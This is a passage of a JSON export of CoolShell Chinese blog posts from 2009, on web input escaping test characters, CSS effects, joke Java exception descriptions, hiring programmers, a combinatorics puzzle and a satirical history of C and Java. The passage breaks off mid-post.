    "content": "---\nlayout: post\ntitle: Web程序的最佳测试数据\ndate: 2009/12/15/ 7:50:35\nupdated: 2009/12/15/ 7:50:35\nstatus: publish\npublished: true\ntype: post\n---\n\n\n这里有一篇Matthias写的[关于转义字符文章-“The art of escaping”](http://united-coders.com/matthias-reuter/the-art-of-escaping \"The art of escaping\")，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站程序轻则出错，重则被人黑了。这些物殊的字符是[`<\"@%'&_\\?/:;,>কী €`] ，你可以使用这个字符串到任意一个可以输入的Web程序上去做测试。\n\n\n下面这个表格告诉你为什么这些字符很特殊。这个列表不会是完整的，而且也永远不会完整。  \n\n\n\n\n\n\n| 相关领域 | 转义字符 |\n| --- | --- |\n| [HTML](http://www.w3.org/ \"W3C\") | < , > , & |\n| [JSON](http://json.org/ \"JSON-Resource\") | “ |\n| [SQL](http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html \"mysql character\") in mySql | 字符串 “, ‘, 通配符 %, \\_ |\n| [rfc 1738](http://www.faqs.org/rfcs/rfc1738.html \"rfc 1738 for urls\") for URL-parameter | ;, /, ?, :, “, @, =, & 空格 |\n\n\n  \n\n把这些转义字符放在一起，然后再整些 utf-8 的一些特殊字符。这些utf-8的字符你可以参看本站的[Unicode字符预览表](https://coolshell.cn/articles/1331.html)一文，并从中获取。另外，你还可以使用下面的这些工具来对你的程序进行调试或检查：\n\n\n* 一个高级Web调试插件： [firebug](https://addons.mozilla.org/de/firefox/addon/1843 \"firebug plugin\")\n* 标准的请求/响应插件： [Live HTTP headers](https://addons.mozilla.org/de/firefox/addon/3829)\n* 一些抓包程序： [HTTPfox](https://addons.mozilla.org/en-US/firefox/addon/6647) or [tamper data](https://addons.mozilla.org/en-US/firefox/addon/966)\n* IE的开发者可以试试这个：[Fiddler.com](http://www.fiddler2.com/fiddler2/)\n\n\n如果上面的工具都不能帮助你的话，你可能需要打调试日志，或是使用一个透明的代理服务器：如： [Charles Web Debugging Proxy](http://www.charlesproxy.com/) （Windows）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![源代码特洛伊木马攻击](../wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg)](https://coolshell.cn/articles/21649.html)[源代码特洛伊木马攻击](https://coolshell.cn/articles/21649.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\nThe post [Web程序的最佳测试数据](https://coolshell.cn/articles/1957.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-16 纯CSS做的3D效果.md",
    "content": "---\nlayout: post\ntitle: 纯CSS做的3D效果\ndate: 2009/12/16/ 6:4:32\nupdated: 2009/12/16/ 6:4:32\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个用CSS做的一个3D的效果。你可以使用鼠标在图片中移动来显示这个效果。其实，这个效果只是能过移动图片来产生的。其可以工作在Internet Explorer 8, Firefox 3, Opera 9, Safari 3, Chrome 4 和 Konqueror 3.5下。网页在这里：<http://www.romancortes.com/ficheros/meninas.html>\n\n\n  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/5164.html)[CSS图形](https://coolshell.cn/articles/5164.html)\nThe post [纯CSS做的3D效果](https://coolshell.cn/articles/1962.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-17 Java异常另类手册.md",
    "content": "---\nlayout: post\ntitle: Java异常另类手册\ndate: 2009/12/17/ 8:44:15\nupdated: 2009/12/17/ 8:44:15\nstatus: publish\npublished: true\ntype: post\n---\n\n在这个页面上<http://rymden.nu/exceptions.html>，你会看到Java的各种异常，不过，你看看各个异常的解释，你会发现非常有趣，下面例举几个吧：\n\n\n**java.lang.ArithmeticException**\n\n\n你正在使用计算解决一个你不能自己解释的数学问题，请你重新读一下你的程序，然后，再试一次。\n\n\n**java.lang.ClassNotFoundException**\n\n\n你应该是发明创造了一个你自己的类，目前，Java中还没有实现“[种姓制度](http://zh.wikipedia.org/wiki/%E5%8D%B0%E5%BA%A6%E7%A7%8D%E5%A7%93%E5%88%B6%E5%BA%A6)”，但是Java明显使用了巴厘岛的种姓制度。也就是说，如果你是一个武士（wesia），也就相当于印度种姓制度中的第三层——吠舍（vaishya）\n\n\n**java.lang.IllegalAccessException**\n\n\n你是一个正在运行Java程序入室盗窃的小偷，请停止对电脑的盗窃行为，离开房子，然后再试一次。\n\n\n\n**java.lang.NullPointerException**\n\n\n你没有狗。请你先找一只狗（比如：布烈塔尼獵犬），然后再试一次。\n\n\n**java.lang.SecurityException**\n\n\n你已被认为是国家安全的一个威胁。请你呆在原地别动，然后等着警察来并带你走。\n\n\n**java.awt.AWTException**\n\n\n你正在使用AWT，也就是说你的图形界面会很丑。这个异常只是一个警告可以被忽略。\n\n\n**java.beans.IntrospectionException**\n\n\n你太内向了，你应该变得外向一些。 请你不要再干这些无奈的事了，出门去见见人吧。\n\n\n**java.io.EOFException**\n\n\n你只所以要看手册是因为你不知道EOF是什么意思。我并不打算告诉你，因为你是一个不学无术的人。\n\n\n**java.io.FileNotFoundException**\n\n\n连木匠都知道他的工具放在哪里。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java异常另类手册](https://coolshell.cn/articles/1970.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-18 一个“精湛”的JS程序.md",
    "content": "---\nlayout: post\ntitle: 一个“精湛”的JS程序\ndate: 2009/12/18/ 9:20:44\nupdated: 2009/12/18/ 9:20:44\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个很“精湛”的JS程序：\n\n\n<http://rmd.atdmt.com/tl/DocumentDotWrite.js>\n\n\n这个JS文件中“精湛”之处在于，其只有一行代码，如下所示：\n\n\n\n> function **DocumentDotWrite**(s){document.write(s);}\n> \n> \n\n\n下面这个贴子讨论了这个JS文件：  \n\n<http://forums.thedailywtf.com/forums/p/7872/147330.aspx>\n\n\n大家都在猜测为什么那个程序员要这么干，下面是一些猜测：\n\n\n1. 网友superjer说：这是一个伟大的创造，解决了你的键盘“.”键损坏的情况。\n2. 网友Heron说：这是从Character Map上拷贝粘贴下来的。\n3. 网友mfah说：这是世界上第一个用C来包装Javascript的示例。\n4. 网友djork说：我是一个用手机编程的人，这个方法可以让人在手机上更容易输入我的代码。\n5. 网友PSWorx说：可能他们想把document.write作为一个回调函数，但直接把document.write传进去不行。\n6. 还有一个网友说：这么做或者可以阻止网页上的广告阻截器。\n\n\n呵呵，看来，“超级天才”和“极端愚蠢”可能只是一线之差，只有写这段程序的那个程序员才知道为什么要这么干了。也许，他的键盘的那个键真的是坏了也不一定。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [一个“精湛”的JS程序](https://coolshell.cn/articles/1973.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-2 我是怎么招聘程序员的.md",
    "content": "---\nlayout: post\ntitle: 我是怎么招聘程序员的\ndate: 2009/12/2/ 0:53:36\nupdated: 2009/12/2/ 0:53:36\nstatus: publish\npublished: true\ntype: post\n---\n\n![面试](../wp-content/uploads/2009/12/job-interview.gif \"面试\")很早以前就想写一篇和面试相关的文章了，今天在网络上看到一篇关于如何去面试程序员的[英文文章](http://www.aaronsw.com/weblog/hiring)，发现其中有很多和我共鸣的东西，所以仿照其标题通过自己的经历写下了这篇文章。\n\n\n工作这么多年来，即被面试过，也面试过他人，对于程序员的面试，经历过很不错的面试，很专业的面试，也经历过一些BT和令人不爽的面试，我个人觉得一个好的面试，面试官是很重要的，所以，本文想从“面试官”的角度来阐述一下。于是，有了下面这样一篇的文章，希望本文对你的职场经历有用，特别是那些正在招聘和面试程序员的朋友，我觉得这篇文章会对大家有很多启示。此外，做为被面试的人，你可以看看本站的《[别的程序员是怎么读你的简历的](https://coolshell.cn/articles/1695.html)》《[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)》《[优秀程序员的十个习惯](https://coolshell.cn/articles/222.html)》其它一些和[程序员相关的文章](https://coolshell.cn/?tag=programmer)。\n\n\n对于招聘方来说，在招聘程序员的时候，我估计面试应聘者时，最主要想知道的是下面三件事：\n\n\n1. 这个程序员的是否够聪明？\n2. 这个程序员能否把事情搞定？\n3. 这个程序员能和我的团队在一起工作吗？\n\n\n我相信，这是所有团队经理招人要考虑的三个问题，所有的问题也基本上围绕着这三个问题。有些时候，你也许觉得程序员的技术技能可以同时解决这三个问题，一个技术能力优秀的人必然是一个聪明的，可以搞定事情的人，当然也就能和团队一起工作了。是的，感觉看起来是这个样子，但其实并不是这样的。有些人的确很聪明，但却不能处理好工作上的事情，这样人应该是你的朋友，你的顾问，但不应该是你的雇员。有的人为人很不错，和团队所有人都合得来，但并不是很聪明，但工作很刻苦很努力，这样的人可以成为你的下属，比如某个下属骨干的助手，或是整个团队的助手。如果某个人不能和团队一起工作，无论其有多聪明，解决问题的能力有多强，你都不应该和他在一起工作。人个认为，团队的和谐是一切事情的前提。\n\n\nhttps://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif \"更多...\"\n\n\n对于传统的面试招聘过程，基本上来说都是下面这样的样子的：\n\n\n1. 阅读应聘者的简历，让应聘者做个自我介绍。\n2. 问一些比较难的非常细节的技术问题，以一问一答的形式。\n3. 给面试者一些和几个编程难题。（比如某些怪异的算法题）\n\n\n我个人觉得这种面试方法很可笑，也很糟糕，尤其是后面两点。通常来说，这样的面试只会让你面试到一些“书呆子”或是一些“技术痴迷者”，下面让我来一条一条地剖析一下这几条的弊端。\n\n\n1. 你很难从一个人的简历或是自我介绍上了解一个人。因为这些都是当事人自己写的，或是自己阐述的。所以，这并不是很准确的，通过简历，你只能知道很简单的事情，这对于是否能招入团是远远不够的。而在面试的开始，让应聘者做自我介绍，只会让面试者以很正式的态度来面对整个面试。一但面试过程很正式，很严肃，就会让人很拘禁，其实，这并不是我们想要的，我要的是**应聘者真实和自然的表现，从而才能了解到最真实的东西**。\n2. 问几个技术细节的问题。比如：我个人经历过的——“ps的-a参数是什么意思？”，“vi中删除换行符的命令是什么？”，“C++的关键字explict,mutable是用来干什么？”等等，等等。以前做为一个应聘者来说，我非常讨厌这样的问题，因为这样的问题查一下手册就知道。难道他要招的是一个字典手册？不是一个人？对于这方面，**重要的不是知识，重要的是其查找知识的能力**。\n3. 给应聘者一个或几个很难的算法题，给上十几分钟，然后让面试者把伪代码或是代码写下来。这样的做法是相当可笑的，不能讨论不能查资料，让人在一种压力状态下作答，这根本就不是实际工作中的状态，而我们的面试也就成了一种刁难（我最变态的经历是，当我把写在两页纸上的代码上交上去后，面试官把其交给旁边程序员输出电脑做校验，结果程序员说，编译出错。于是，面试官说，“很遗憾，可能你写的程序还不多”，相当可笑）。对于这点来说，**重要的不是那个解题的答案，而是解题的思路和方法**。\n\n\n我以前经历过很多的面试，当技术人员来和我做面试的时候，我发现，“技术人员的思维”对于某些人来说根本分不清面试和考试，**在潜意识里，他们在很多时候不是在面试这个人，而是在刁难这个人并以此展示自己的技能**。我个人认为我是一个好的程序员，但我可以告诉你我无法通过那样的面试，因为那样的面试是为他们自己准备的，而不是为应聘者准备的。\n\n\n那么，我又是怎样去面试的呢？\n\n\n**一、确认简历。**首先，阅读一下别人的简历是需要的，从简历上，工作经历，项目经历，技术技能这三个事情是你需要了解的。一般来说，你可以先通过电话确定一下他的工作经历，项目经历和技术技能，然后，如果他和你需要的人条件相符的话，可以叫到公司做面对面的面试。千万不要把别人叫来，你又说你的经历和我们的工作有差距之类的话。（我有过一次面试经历，公司我不说了，反正是那个号称需要有良好沟通的公司，面试了我9次左右，从一般的程序员，PM，经理，到总经理，而最后一次直接告诉我，我以前的经历和他们的要求差距很大。我不禁要问了，前面若干次的面试他们都在干什么呢？）\n\n\n**二、面试开场。**其次，把人邀请来公司面试，应聘者到了公司来面试，有一点很重要，那就是你一定要让整个面试过程变得很随意，很放松，就像普通的聊天和一般朋友间的交流一样。这样应聘者才会放松并拿出真实的样子来和你谈话和聊天，你才能在很短的时间内了解得更多。让应聘者放下心理负担，让其表现得自然一些，这是招聘方的责任。千万不要说，别人太紧张发挥的不好，有时候，招聘方得想想自己的问题。\n\n\n面试开场的时候，千万不要让应聘者介绍自己，因为，应聘者早就给你发过简历了，而你也给其打过电话了。另外，应聘者对这个面试惯例通常都会准备得非常不错的，另一方面，这会让整个面试过程太正式太严肃了。所以，不妨问问应聘者是怎么过来的？最近怎么样？还可以和应聘者谈一个大众话题，比如喜欢什么体育，音乐，电影，社会热点什么的，自己也别板着个脸，说说笑笑，试图让大家都放松下来。另外，通过这些闲聊，你可以知道他/她的与人交往能力和一些性格。另外，不要让桌子放在你和应聘者之间，把环境搞得随意一些。\n\n\n**三、多让应聘者说说他的经历**。接下来，如果你要觉得这个应聘者是否是一个可以解决问题，是一个可以把事情搞定的人，不用问他/她会做什么，直接问问其做过什么？干过什么事？对于一个好的程序员来说，很难想像其没有相关的实践，就算你是在大学里，你也应该做过什么。如果你有解决问题的能力，那么，很显然，今天你应该解决了很多问题，也搞定了很多事情，听听应聘者说一说他的那些事。（不要使用一问一答这种方式，应该让应聘者多说，而多听，多想）\n\n\n在他讲他的项目的时候，通常来说你要注意下面几点：\n\n\n* **沟通表达能力**。应聘者能不能把一个事情讲清楚。如果这个人聪明的话，他就可以用最简单的语言把一个复杂的事情讲清楚。而且，这是一个好的程序员最基本的能力。而且，你可以在应聘者一边描述其经历的时候，你可以和应聘者有一些的良好的来来回回的交谈，这样就可以知道，他的沟通能力和沟通方式，从而了解他的性格，。\n* **角色和位置**。也许他参与了一个很大的项目，但只是做了一个很简单的模块。所以，了解其在项目中的担任的角色和位置是非常必要的。当应聘者说到“我们”或者“大家”之类的词汇时，一定要向下细化和明确。\n* **做出的贡献和解决了什么的问题**。这个很重要，通过了解这个，你可以知道面试者是否聪明，是否有能力解决问题，是否有好的技术底子。\n* **演示**。如果可能，你可以让应聘者展示一些其写过的代码，做过的设计，或是直接给你看看他写的程序的演示。（从设计上，代码的风格，重用性，维护性上你可以了解很多很多）\n* **基础知识**。了解该项目中应聘者使用的技术的一些基础知识，比如，通过整个过程，你可以问一些网络，语言，面象对象，系统的一些基础知识。基础知识是非常重要的，这直接关系到了他的能力。\n* **流程和工具**。了解应聘者所熟悉的项目的流程（银弹，瀑布，敏捷，……），还有流程中的一些工件（如：需求文档，设计文档，测试方档等），以及在开发过程中使用的工具（内存测试，代码检查，BUG报告，版本维护，开发调试……）（关于程序员的基本技能，你可以参考——《[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)》）\n\n\n有人会说，应聘者的经历可以被他自己编出来的，他可以把一些不是他做的事说成是他做的。是的，的确是有这种可能。不过，不要忘了，一个谎言背后需要用更多的谎言来圆谎的，所以，你不必担心这个问题，只要你在应聘者的描述过程中逐步求精，细化问题，你会知道应聘者是否是在编故事的。\n\n\n千万记住下面几点：\n\n\n* 谈话风格要随意和自然，不要正式。\n* 在了解应聘者以前做过的事的时候，不要太投入了。因为招聘方也是技术人员，所以有时候，招聘者自己会因为应聘者所做的项目中的技术太过迷人而被吸引了。\n* 要注意引导应聘人。相信我，应聘的程序员十个人有八个人讲不清楚以前做的是什么。因为他们直接跳过了项目背景和要解决什么样的问题，而直接进入具体实现。\n* 不要一问一答，应该多让应聘者说，这样才能多全方位了解一个人。\n* 了解一个人的过去，了解一个人做过的事情，比其会做什么更重要。\n* 了解一个人的性格，想法，思维和行为，比了解其技术技能更重要。\n* 沟通能力，表达能力，语言组织能力，理解能力，等方面的能力，关系到了是否能和别人一起工作。\n* 基础知识比知识的点滴要重要得多。你可能不知道其个C++的关键字，但你应该要知道C++的继承和多态。\n* 技术技能固然很重要，但比其更重要的是这个人获取知识的能力，学习能力是在计算机这样变化飞快行业中必需具备的。\n* 是否可以进行培养，比掌握的技能更重要。\n\n\n**四、实际参与？？**这一步可能是很不好实施的。因为，这需要一些应聘者付出一定的时间，如果是毕业生，那没有问题，先让他来实习一段时间。但如果别人有工作，就不好了。也许你会说，这就是试用期的用处了。不过，我个人觉得，你得要尊重应聘者，人家把那边的工作辞了，来你这边工作，三个月试用期间，如果没有什么原则上的问题，你作为一个招聘方又反悔了，这样做很是相当的不好。如果发现这样的事，只能是招聘者自己的问题。\n\n\n在面试过程中，一些招聘者会让应聘者们一起做个游戏，或是搞个辩论比赛，或是现场组个团队干个简单的事情，有的甚至让应聘者请一天假到自己的公司里来和自己的团队一同工作一天，并要完成某个事情（甚至给其设置上deadline），并通过这些来考量应聘者的实际参与能力。\n\n\n是的，如果没有一起工作过，没有一些实际的事情发生，单靠几个小时的面试很难了解一个人的。设置上这些面试的环节，在最短的时间内来了解应聘者的一切，对于招聘方来说无可厚非。而且有的时候也能得到不错的效果。在这里，我只提一点，有时候这样的周期拉得很长，让应聘者付出了很多，反尔会让应聘者产生反感和厌烦情绪，从某种意义上来说，这实在是对应聘者的不尊重。\n\n\n对于这一点，我一直持疑问的态度，所以，我在其后打了两个问号。老实说，对于实际参与这一环节，我个人的意见是适可而止，因为时间太短了，无论你怎么做你都无法了解完整。即然无法了解完整，那就获取你最需要的吧，就是本文开头的那三个问题，以及上面所述的“第三点”（了解应聘者的以往经历）。\n\n\n也许这个文章中有一些你不同意的观点，没问题，欢迎批评，如果你有更好的做法，我也想听听，不妨在这里留个言，如果不想留也可以email给我。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/4976.html)[给程序员新手的一些建议](https://coolshell.cn/articles/4976.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4506.html)[再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/4490.html)[再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\nThe post [我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-20 【问题】传球问题.md",
    "content": "---\nlayout: post\ntitle: 【问题】传球问题\ndate: 2009/12/20/ 9:41:11\nupdated: 2009/12/20/ 9:41:11\nstatus: publish\npublished: true\ntype: post\n---\n\n有a,b,c,d,四个人  \n\n互相传球  \n\n从a开始传出  \n\n经过5次传球后  \n\n球回到a的手里\n\n\n算总共有多少种传球的方法\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/5826.html)[千万别用MongoDB？真的吗？！](https://coolshell.cn/articles/5826.html)\n* [![Eclipse开发Android应用程序入门:重装上阵](../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg)](https://coolshell.cn/articles/4334.html)[Eclipse开发Android应用程序入门:重装上阵](https://coolshell.cn/articles/4334.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/1265.html)[恢复Ext3下被删除的文件](https://coolshell.cn/articles/1265.html)\nThe post [【问题】传球问题](https://coolshell.cn/articles/1976.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-21 C语言的演变史.md",
    "content": "---\nlayout: post\ntitle: C语言的演变史\ndate: 2009/12/21/ 0:12:10\nupdated: 2009/12/21/ 0:12:10\nstatus: publish\npublished: true\ntype: post\n---\n\n1972 – C语言的先驱——B语言，被贝尔实验室开发。B语言是一个很快速的，容易维护的，而且对于从系统到应用开发是很好用的。设计这门语言的整个团队被马上解雇了，因为他们干了一件和电话通讯不相干的事情。最后这个项目转给了 Dennis Ritchie。他把这个语言变得不容易理解，很难维护，而且，只能用于系统方面的编程。而且，他还设计了一个指针系统，保让每一个程序都超过500行，并可以使用操作系统的指针。\n\n\n1982 – 大家发现有97% 的C程序调用产生了“缓冲区溢出”问题。于是，C 程序员们开始意识到，就算是不必要也必需要初始化变量。然而，强制性的变量初始化这个明智的决定，很难影响了当时已经写成了的97%的C程序，所以结果什么也没有发生。 \n\n\n1984 – 操作系统出现了“错误指针”的问题数量开始戏剧性地增涨。 \n\n\n1985 – 一系列的让C语言有面向对象能力的解决方法出现了，一个叫“C With Classes”正准备商业化。然而，大家觉得名字“C With Classes”太清楚和容易被理解了，所以，最终的商业版本叫做—— C++。\n\n\n\n1986 – C语言成为最流行的语句，其被很多业界分析师推荐于业务应用。他们向全世界宣称——由C语言写成的应用将可以运行在很多不同的平台上的，是跨平台的。目前看来，这些众多的分析者在当时有可能是因为某种迷幻而导致其大脑被所蛊惑了。\n\n\n1988 – 业界的这些分析家们因为“摇头丸”吃完了。所以，在他们的幻觉过去以后，他们注意到，使用C语言来开发业务应用会增加5倍以上的开发时间，并且程序也不具备可移植性。他们开始停止向大众推荐使用C语言来开发业务应用了，只能很少一部服用可卡因的人开始转向推荐大众使用C++语言写业务应用程序，他们说，“那是面向对象的，所以，代码是很容易重用的”。\n\n\n1990 – 在这个时候，所有的C编译器都转到了C++编译器上。但是，因为大多数的C++程序员并没有使用C++中那些面向对象的语言特性。也就是说，在实际上来说，那种浮肿的代码结构加上操作系统指针的代码被一种叫面向对象的编译器编译。\n\n\n1990 – 在雇佣了一些转向“吸胶毒”的分析师后，Sun决定要创造一种叫Oak的语言，这种语言主要用于电视的机顶盒。因为当时几乎所有的程序员的DNA中都有C语的基因，所以，这个语言向C和C++中大量地借鉴了很多它们的语法和编程思路。然而，机顶盒上没有操作系统，也就不存在指针，所以，他们把指针从这门语言里给去掉了。\n\n\n1994 – Sun公司里的某个人意识到为一个机顶盒开发一个语言是多么愚蠢的事情。于是，这个语言更名为Java，并且为其注入了“Internet”的特征，从而让其成为一个真正可以被移植的语言。其市场营销上相当成功，而那时有3%的业内人士开始明白什么是Internet，同时，那些精神不正常的分析师们还在不停地嗑药并向大众鼓吹他们的神话——“跨平台移植性”。\n\n\n1995 – Sun 向业界的分析师们提供了免费蘑菇迷魂汤，导致那些分析师在喝下汤后，马上开始写下“Java是一门未来的可移植的和Ineternet高度可集成的语言”。\n\n\n1996 中 – 17,468,972 篇文章出现，描述了Java是怎么一门未来的语言。这也是Java Applet开始进入Web页的时代。\n\n\n1996 末– 程序员开始使用Java applet创建他们的Web页面，然后他们开始因为挫折和沮丧开始集体自杀。此时，那些分析师开始增大蘑菇迷魂汤的剂量。\n\n\n1997 – 因为接受了产生幻觉分析师的建议，Corel 决定重写他们的应用，包括 WordPerfect，当然，是用Java写的。最终的结果是，这是迄今为止比“打字机”还慢的字处理软件。\n\n\n1998 –  在意识到applet已在快速枯萎，Sun又一次的重新配置了Java，这次，他们叫Severlet，这是一个服务器的程序语言。这个设计在抄袭了Microsoft Transaction Server ，并且，他们说服所有人这个设计是他们创造的。\n\n\n1999 – 业内那些喝多了的分析师们用一种咆哮的方式向大众介绍了Java 2 Enterprise Edition 。 21,499,512 文章被写出来。但是，实际上并没有人使用，因为J2EE太不成熟，而又太贵了。\n\n\n2000 – J2EE 